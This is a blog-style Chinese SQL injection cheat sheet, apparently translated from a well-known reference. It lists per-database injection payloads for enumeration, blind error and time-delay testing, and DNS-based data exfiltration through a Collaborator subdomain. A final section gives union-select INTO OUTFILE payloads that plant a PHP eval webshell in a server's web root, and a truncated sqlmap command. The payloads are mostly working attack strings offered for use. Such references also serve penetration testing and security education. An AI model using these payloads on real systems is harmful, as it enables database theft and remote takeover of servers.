SQL注入速查表

SQL 注入速查表

SQL 注入速查表包含有用语法的示例,您可以使用这些示例来执行执行 SQL 注入攻击时经常出现的各种任务。

字符串连接

您可以将多个字符串连接在一起以形成一个字符串。

| 甲骨文 | 'foo'||'bar' |
| :—– | ———————————————————— |
| 微软 | 'foo'+'bar' |
| 数据库 | 'foo'||'bar' |
| MySQL | 'foo' 'bar'[注意两个字符串之间的空格] CONCAT('foo','bar') |

子串

您可以从具有指定长度的指定偏移量中提取字符串的一部分。请注意,偏移索引是从 1 开始的。以下每个表达式都将返回字符串ba

甲骨文 SUBSTR('foobar', 4, 2)
微软 SUBSTRING('foobar', 4, 2)
数据库 SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

注释

您可以使用注释来截断查询并删除输入后的原始查询部分。

甲骨文 --comment
微软 --comment/*comment*/
数据库 --comment/*comment*/
MySQL #comment -- comment[注意双破折号后的空格] /*comment*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

甲骨文 SELECT banner FROM v$versionSELECT version FROM v$instance
微软 SELECT @@version
数据库 SELECT version()
MySQL SELECT @@version

数据库内容

您可以列出数据库中存在的表,以及这些表包含的列。

甲骨文 SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
微软 SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
数据库 SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

您可以测试单个布尔条件并在条件为真时触发数据库错误。

甲骨文 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
微软 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
数据库 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

批量(或堆叠)查询

您可以使用批处理查询来连续执行多个查询。请注意,在执行后续查询时,不会将结果返回给应用程序。因此,该技术主要用于解决盲漏洞,您可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。

甲骨文 Does not support batched queries.
微软 QUERY-1-HERE; QUERY-2-HERE
数据库 QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE

笔记

对于 MySQL,批处理查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库通信,这偶尔是可能的。

时间延迟

处理查询时,您可能会在数据库中造成时间延迟。以下将导致 10 秒的无条件时间延迟。

甲骨文 dbms_pipe.receive_message(('a'),10)
微软 WAITFOR DELAY '0:0:10'
数据库 SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

有条件的时间延迟

您可以测试单个布尔条件并在条件为真时触发时间延迟。

| 甲骨文 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
| :—– | ———————————————————— |
| 微软 | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| 数据库 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |

DNS查询

您可以使数据库对外部域执行 DNS 查找。为此,您需要使用Burp Collaborator 客户端生成一个您将在攻击中使用的唯一 Burp Collaborator 子域,然后轮询 Collaborator 服务器以确认是否进行了 DNS 查找。

甲骨文 以下技术利用 XML 外部实体 ( XXE ) 漏洞触发 DNS 查找。该漏洞已被修补,但存在许多未修补的 Oracle 安装: SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual 以下技术适用于完全修补的 Oracle 安装,但需要提升权限: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
微软 exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
数据库 copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL 以下技术仅适用于 Windows: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

带数据泄露的 DNS 查找

您可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,您需要使用Burp Collaborator 客户端生成您将在攻击中使用的唯一 Burp Collaborator 子域,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括泄露的数据。

| 甲骨文 | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
| :—– | ———————————————————— |
| 微软 | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
| 数据库 | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f(); |
| MySQL | 以下技术仅适用于 Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |

SQL注入怎么写入webshell?

条件:

1、知道web绝对路径

2、有文件写入权限(一般情况只有ROOT用户有)

3、数据库开启了secure_file_priv设置

​ 然后就能用select into outfile写入webshell

常见手法:

联合注入写入

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

dumpfile函数写入

?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

lines terminated by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

columns terminated by 写入

?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

sqlmap写入

写:(要写的文件,必须在kali本机里有)
写入到 /tmp 目录下  
sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&us
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信